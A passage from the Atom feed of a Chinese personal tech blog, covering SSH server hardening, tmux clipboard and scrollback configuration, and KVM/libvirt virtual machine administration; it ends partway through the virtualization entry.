&lt;h3 id=&quot;diao-yong-trait-fang-fa-xian-zhi&quot;&gt;调用 trait 方法限制&lt;&#x2F;h3&gt;
&lt;p&gt;GDB 无法直接调用 trait 方法（编译器未生成完整 trait 调试信息）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;gdb&quot; class=&quot;language-gdb &quot;&gt;&lt;code class=&quot;language-gdb&quot; data-lang=&quot;gdb&quot;&gt;&amp;gt;&amp;gt;&amp;gt; print path.is_absolute()
Could not find function named &amp;#x27;std::path::Path::is_absolute&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;相关 issue：Rust &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;1563&quot;&gt;#1563&lt;&#x2F;a&gt;、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;43334&quot;&gt;#43334&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH 安全加固</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/ssh-security/"/>
        <id>https://vercel.juzhong.asia/2025/07/ssh-security/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/ssh-security/">&lt;h1 id=&quot;ssh-an-quan-jia-gu&quot;&gt;SSH 安全加固&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;fu-wu-duan-pei-zhi&quot;&gt;服务端配置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;etc-ssh-sshd-config&quot;&gt;&#x2F;etc&#x2F;ssh&#x2F;sshd_config&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;Port 12345                                     # 修改默认端口
Protocol 2                                     # 仅使用新协议
PasswordAuthentication no                      # 禁用密码登录
PermitEmptyPasswords no                        # 禁止空密码
PermitRootLogin no                             # 禁止 root 登录
PubkeyAuthentication yes                       # 启用密钥认证
UseDNS no                                      # 禁用 DNS 解析（加速登录）
MaxAuthTries 3                                 # 限制认证尝试次数
X11Forwarding no                               # 禁用 X11 转发
AllowTcpForwarding no                          # 禁用端口转发（按需）
AllowAgentForwarding no                        # 禁用 agent 转发
ClientAliveInterval 120                        # 心跳间隔
ClientAliveCountMax 3                          # 心跳超时次数
HostBasedAuthentication no                     # 禁用基于主机的认证
IgnoreRhosts yes                               # 忽略 .rhosts
PermitUserEnvironment no                       # 禁止用户环境变量
LoginGraceTime 60                              # 登录超时
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jia-mi-suan-fa-jia-gu&quot;&gt;加密算法加固&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;Ciphers aes256-ctr,aes128-ctr,aes192-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512
MACs umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
HostKey &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;ssh_host_ed25519_key
HostKey &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;ssh_host_rsa_key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;mi-yao-wen-jian-quan-xian&quot;&gt;密钥文件权限&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod 0644 &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;*pub
chmod 0600 &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;*key
chown root:root &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config
chmod og-rwx &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zhong-jian-moduli&quot;&gt;重建 Moduli&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh-keygen -G moduli-2048.candidates -b 2048
ssh-keygen -T moduli-2048 -f moduli-2048.candidates
cp moduli-2048 &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;moduli
rm moduli-2048
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ke-hu-duan-pei-zhi&quot;&gt;客户端配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 生成 ed25519 密钥
ssh-keygen -t ed25519

# 上传公钥
ssh-copy-id user@host
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Host short
  HostName 192.168.1.x
  Port 12345
  User peter
  IdentityFile ~&amp;#x2F;.ssh&amp;#x2F;id_ed25519
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fail2ban-fang-bao-li-po-jie&quot;&gt;Fail2Ban 防暴力破解&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install fail2ban
cp &amp;#x2F;etc&amp;#x2F;fail2ban&amp;#x2F;jail.conf &amp;#x2F;etc&amp;#x2F;fail2ban&amp;#x2F;jail.local
# 编辑 [sshd]: enabled = true
systemctl restart fail2ban
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fang-huo-qiang&quot;&gt;防火墙&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ufw
sudo ufw allow from &amp;lt;IP&amp;gt; to any port 22

# iptables
iptables -I INPUT -p tcp -s &amp;lt;IP&amp;gt; --dport 22 -j ACCEPT

# firewalld
firewall-cmd --permanent --add-rich-rule=&amp;#x27;rule family=&amp;quot;ipv4&amp;quot; source address=&amp;quot;&amp;lt;IP&amp;gt;&amp;quot; port protocol=&amp;quot;tcp&amp;quot; port=&amp;quot;22&amp;quot; accept&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ssh-audit-an-quan-shen-ji&quot;&gt;ssh-audit 安全审计&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pip3 install ssh-audit
ssh-audit &amp;lt;remote.server&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;duan-kou-zhuan-fa&quot;&gt;端口转发&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ben-di-zhuan-fa&quot;&gt;本地转发&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh -L 本地IP:本地端口:目标IP:目标端口 user@ssh-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;DNS 解析发生在 SSH 服务器端（&lt;code&gt;internal_db.local&lt;&#x2F;code&gt; 由 &lt;code&gt;ssh.sshgateway.com&lt;&#x2F;code&gt; 解析）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dong-tai-zhuan-fa-socks&quot;&gt;动态转发（SOCKS）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh -D 8800 user@host
export https_proxy=socks5:&amp;#x2F;&amp;#x2F;127.0.0.1:8800
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：本地有 IPv6 但代理服务器只有 IPv4 时，对 IPv6 站点的访问会失败。临时解决：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sysctl -w net.ipv6.conf.eth0.disable_ipv6=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;tiao-ban-ji-jump-host&quot;&gt;跳板机（Jump Host）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh -J user@jump-host:port target@internal
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Host internal
  HostName 192.168.2.x
  User peter
  ProxyJump user@jump-host
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;跳板机用户可使用 &lt;code&gt;&#x2F;usr&#x2F;sbin&#x2F;nologin&lt;&#x2F;code&gt; 作为 shell，仅允许端口转发而不允许交互登录。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Tmux 实践</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/tmux-practice/"/>
        <id>https://vercel.juzhong.asia/2025/07/tmux-practice/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/tmux-practice/">&lt;h1 id=&quot;tmux-shi-jian&quot;&gt;Tmux 实践&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jian-tie-ban-ji-cheng&quot;&gt;剪贴板集成&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;fang-an-yi-osc-52-zhuan-yi-xu-lie&quot;&gt;方案一：OSC 52 转义序列&lt;&#x2F;h3&gt;
&lt;p&gt;OSC 52 让 tmux 通过终端转义序列直接设置系统剪贴板。优点：SSH 远程会话也能用，无需 X11 转发。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;三步配置&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1. 确认 &lt;code&gt;set-clipboard&lt;&#x2F;code&gt; 已启用&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tmux show -s set-clipboard  # 应为 on 或 external
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &lt;code&gt;.tmux.conf&lt;&#x2F;code&gt; 中：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set -s set-clipboard external  # tmux &amp;gt;= 2.6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;external&lt;&#x2F;code&gt; 只允许 tmux 自身设置剪贴板，内部应用不能。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2. 确认 &lt;code&gt;Ms&lt;&#x2F;code&gt; capability 存在&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tmux info | grep Ms:  # 应有 (string) \033]52;...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果是 &lt;code&gt;[missing]&lt;&#x2F;code&gt;，在 &lt;code&gt;.tmux.conf&lt;&#x2F;code&gt; 中添加（tmux &amp;gt;= 3.2）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set -as terminal-features &amp;#x27;,rxvt-unicode-256color:clipboard&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;旧版 tmux：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set -as terminal-overrides &amp;#x27;,rxvt-unicode-256color:Ms=\E]52;%p1%s;%p2%s\007&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. 终端侧启用 OSC 52&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;xterm：&lt;code&gt;.Xresources&lt;&#x2F;code&gt; 添加 &lt;code&gt;XTerm*disallowedWindowOps: 20,21,SetXprop&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;VTE 终端（GNOME&#x2F;XFCE&#x2F;terminator）：不支持，需关闭 &lt;code&gt;set-clipboard&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Kitty：&lt;code&gt;clipboard_control write-primary write-clipboard no-append&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;iTerm2：Preferences → General → &quot;Applications in terminal may access clipboard&quot;&lt;&#x2F;li&gt;
&lt;li&gt;st：0.8.3 之前有文本长度限制&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;tmux 嵌套&lt;&#x2F;strong&gt;：外层 tmux 需 &lt;code&gt;set-clipboard on&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-an-er-wai-bu-gong-ju-xclip-xsel&quot;&gt;方案二：外部工具（xclip&#x2F;xsel）&lt;&#x2F;h3&gt;
&lt;p&gt;配置 &lt;code&gt;copy-command&lt;&#x2F;code&gt;（tmux &amp;gt;= 3.2）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set -s copy-command &amp;#x27;xsel -i&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或修改复制键绑定（旧版）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bind -T copy-mode-vi Enter send-keys -X copy-pipe-and-cancel &amp;quot;xsel -i --clipboard&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：&lt;code&gt;xclip&lt;&#x2F;code&gt; 有 stdout 不关闭的 bug，需 &lt;code&gt;xclip &amp;gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;X 有多个剪贴板：&lt;code&gt;primary&lt;&#x2F;code&gt;（中键粘贴）、&lt;code&gt;clipboard&lt;&#x2F;code&gt;（Ctrl+V）。用 &lt;code&gt;xclip -selection&lt;&#x2F;code&gt; 或 &lt;code&gt;xsel --clipboard&lt;&#x2F;code&gt; 选择。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gun-dong-huan-chong-qu&quot;&gt;滚动缓冲区&lt;&#x2F;h2&gt;
&lt;p&gt;tmux 运行在终端的 alternate screen buffer，自身维护 scrollback buffer。进入 copy mode 才能浏览历史。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;推荐配置&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Alt+Up 进入 copy mode
bind -n M-Up copy-mode

# 在 copy mode 中滚动
bind -T copy-mode-vi M-Up              send-keys -X scroll-up
bind -T copy-mode-vi M-Down            send-keys -X scroll-down
bind -T copy-mode-vi M-PageUp          send-keys -X halfpage-up
bind -T copy-mode-vi M-PageDown        send-keys -X halfpage-down
bind -T copy-mode-vi PageDown          send-keys -X page-down
bind -T copy-mode-vi PageUp            send-keys -X page-up

# 鼠标滚轮调整为每次滚 2 行（默认 5）
bind -T copy-mode-vi WheelUpPane select-pane \; send-keys -X -N 2 scroll-up
bind -T copy-mode-vi WheelDownPane select-pane \; send-keys -X -N 2 scroll-down

set -g mouse on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;粘贴&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bind p paste-buffer
bind C-p choose-buffer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qian-tao-tmux-hui-hua&quot;&gt;嵌套 tmux 会话&lt;&#x2F;h2&gt;
&lt;p&gt;通过 &lt;code&gt;F12&lt;&#x2F;code&gt; 切换 key table，让内层 tmux 不受外层干扰：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bind -T root F12 \
  set prefix None \;\
  set key-table off \;\
  refresh-client -S \;\

bind -T off F12 \
  set -u prefix \;\
  set -u key-table \;\
  refresh-client -S
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;自动检测远程会话：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;if-shell &amp;#x27;test -n &amp;quot;$SSH_CLIENT&amp;quot;&amp;#x27; &amp;#x27;source-file ~&amp;#x2F;.tmux&amp;#x2F;tmux.remote.conf&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yuan-cheng-ssh-hui-hua-fu-zhi-wen-ben&quot;&gt;远程 SSH 会话复制文本&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;fang-fa-ssh-yuan-cheng-sui-dao-systemd-socket-fu-wu&quot;&gt;方法：SSH 远程隧道 + systemd socket 服务&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;1. 创建 xclip socket 服务&lt;&#x2F;strong&gt;（&lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;xclip.socket&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Unit]
Description=Network copy backend for tmux based on xclip

[Socket]
ListenStream=19988
Accept=yes

[Install]
WantedBy=sockets.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2. 创建对应服务&lt;&#x2F;strong&gt;（&lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;xclip@.service&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Unit]
Description=Copy backend service piping input to xclip

[Service]
Type=simple
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;xclip -i -f -selection primary | &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;xclip -i -selection clipboard
StandardInput=socket
StandardOutput=socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl enable xclip.socket &amp;amp;&amp;amp; sudo systemctl start xclip.socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. SSH 远程端口转发&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh -R 19988:localhost:19988 user@remote
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或写入 &lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Host remote
  RemoteForward 19988 localhost:19988
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4. tmux 中自动选择后端&lt;&#x2F;strong&gt;（&lt;code&gt;yank.sh&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;p&gt;优先 &lt;code&gt;xsel&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;xclip&lt;&#x2F;code&gt;，失败则检测 19988 端口是否有监听：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;elif [ &amp;quot;$(ss -n -4 state listening &amp;#x27;( sport = 19988 )&amp;#x27; | tail -n +2 | wc -l)&amp;quot; -eq 1 ]; then
  copy_backend=&amp;quot;nc localhost 19988&amp;quot;
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;限制&lt;&#x2F;strong&gt;：同一远程机器上多个 SSH 会话共用同一端口只有第一个能正常复制，需分配不同端口。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>虚拟化技术</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2026-08-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/virtualization/"/>
        <id>https://vercel.juzhong.asia/2025/07/virtualization/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/virtualization/">&lt;h1 id=&quot;xu-ni-hua-ji-shu&quot;&gt;虚拟化技术&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;kvm-huan-jing-jian-cha&quot;&gt;KVM 环境检查&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Intel CPU
grep &amp;quot;vmx&amp;quot; &amp;#x2F;proc&amp;#x2F;cpuinfo

# AMD CPU
grep &amp;quot;svm&amp;quot; &amp;#x2F;proc&amp;#x2F;cpuinfo

# 检查 kvm 模块
lsmod | grep kvm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;KVM 环境目录：&lt;code&gt;&#x2F;etc&#x2F;libvirt&#x2F;&lt;&#x2F;code&gt;、&lt;code&gt;&#x2F;var&#x2F;lib&#x2F;libvirt&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xu-ni-ji-ci-pan-guan-li&quot;&gt;虚拟机磁盘管理&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;chuang-jian-xu-ni-ci-pan&quot;&gt;创建虚拟磁盘&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 文件方式
qemu-img create -f qcow2 &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;vm.qcow2 10G

# libvirt 存储池方式
virsh vol-create-as vmfspool vm.img 10G --format qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;kuo-suo-rong&quot;&gt;扩缩容&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-img resize &amp;#x2F;path&amp;#x2F;vm.qcow2 +10G
qemu-img check &amp;#x2F;path&amp;#x2F;vm.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;re-tian-jia-yi-chu-ci-pan&quot;&gt;热添加&#x2F;移除磁盘&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh attach-disk VM1 &amp;#x2F;data&amp;#x2F;vmfs&amp;#x2F;disk.qcow2 vdb --subdriver=qcow2
virsh detach-disk VM1 &amp;#x2F;data&amp;#x2F;vmfs&amp;#x2F;disk.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;若报 &lt;code&gt;No more available PCI slots&lt;&#x2F;code&gt;：&lt;code&gt;pc-i440fx&lt;&#x2F;code&gt; 机器 PCI 槽位有限（31 个），每个 virtio-blk 设备占 1 个，需通过 PCI bridge 扩展。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jing-xiang-ge-shi-dui-bi&quot;&gt;镜像格式对比&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;格式&lt;&#x2F;th&gt;&lt;th&gt;特点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;raw&lt;&#x2F;td&gt;&lt;td&gt;裸格式，无元数据，不支持快照&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;qcow2&lt;&#x2F;td&gt;&lt;td&gt;主流格式，支持 COW、多快照、zlib 压缩、AES 加密&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;zeng-liang-jing-xiang&quot;&gt;增量镜像&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-img create -b base.qcow2 -f qcow2 child.qcow2  # 基于 base 创建 overlay
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ge-shi-zhuan-huan&quot;&gt;格式转换&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-img convert -f raw -O qcow2 vm.raw vm.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cun-chu-chi-guan-li&quot;&gt;存储池管理&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 创建本地目录存储池
virsh pool-define-as vmfspool --type dir --target &amp;#x2F;data&amp;#x2F;vmfs
virsh pool-build vmfspool
virsh pool-start vmfspool
virsh pool-autostart vmfspool

# 查看
virsh pool-list --all
virsh pool-info vmfspool

# 删除（先 destroy 再 undefine）
virsh pool-destroy vmfspool
virsh pool-undefine vmfspool
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xu-ni-ji-guan-li&quot;&gt;虚拟机管理&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh list --all                # 列出所有虚拟机
virsh start VM1                 # 启动
virsh suspend VM1               # 挂起
virsh resume VM1                # 恢复
virsh destroy VM1               # 强制关机
virsh dumpxml VM1               # 导出配置
virsh edit VM1                  # 编辑配置

# 克隆
virt-clone -o VM1 -n vm-clone --auto-clone

# 快照
virsh snapshot-create-as VM1 snap1
virsh snapshot-revert VM1 snap1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;退出 virsh console：&lt;code&gt;Ctrl+]&lt;&#x2F;code&gt;（英文键盘 &lt;code&gt;Ctrl+Shift+]&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;headless-xu-ni-ji-wu-gui-an-zhuang-yu-pei-zhi&quot;&gt;headless 虚拟机（无 GUI 安装与配置）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;an-zhuang-qian-ti-yong-hu-quan-xian&quot;&gt;安装前提：用户权限&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo usermod -aG kvm peter      # virt-install 以用户身份探测 &amp;#x2F;dev&amp;#x2F;kvm，需在 kvm 组
# polkit 授权（SSH 会话无图形代理，virsh 连 qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system 会报
# &amp;quot;身份验证不可用：没有可以验证操作 &amp;#x27;org.libvirt.unix.manage&amp;#x27; 的 polkit 代理&amp;quot;）
# &amp;#x2F;etc&amp;#x2F;polkit-1&amp;#x2F;rules.d&amp;#x2F;49-libvirt.rules：
polkit.addRule(function(action, subject) {
  if (action.id == &amp;quot;org.libvirt.unix.manage&amp;quot; &amp;amp;&amp;amp; subject.user == &amp;quot;peter&amp;quot;) {
    return polkit.Result.YES;
  }
});
sudo systemctl restart polkit.service

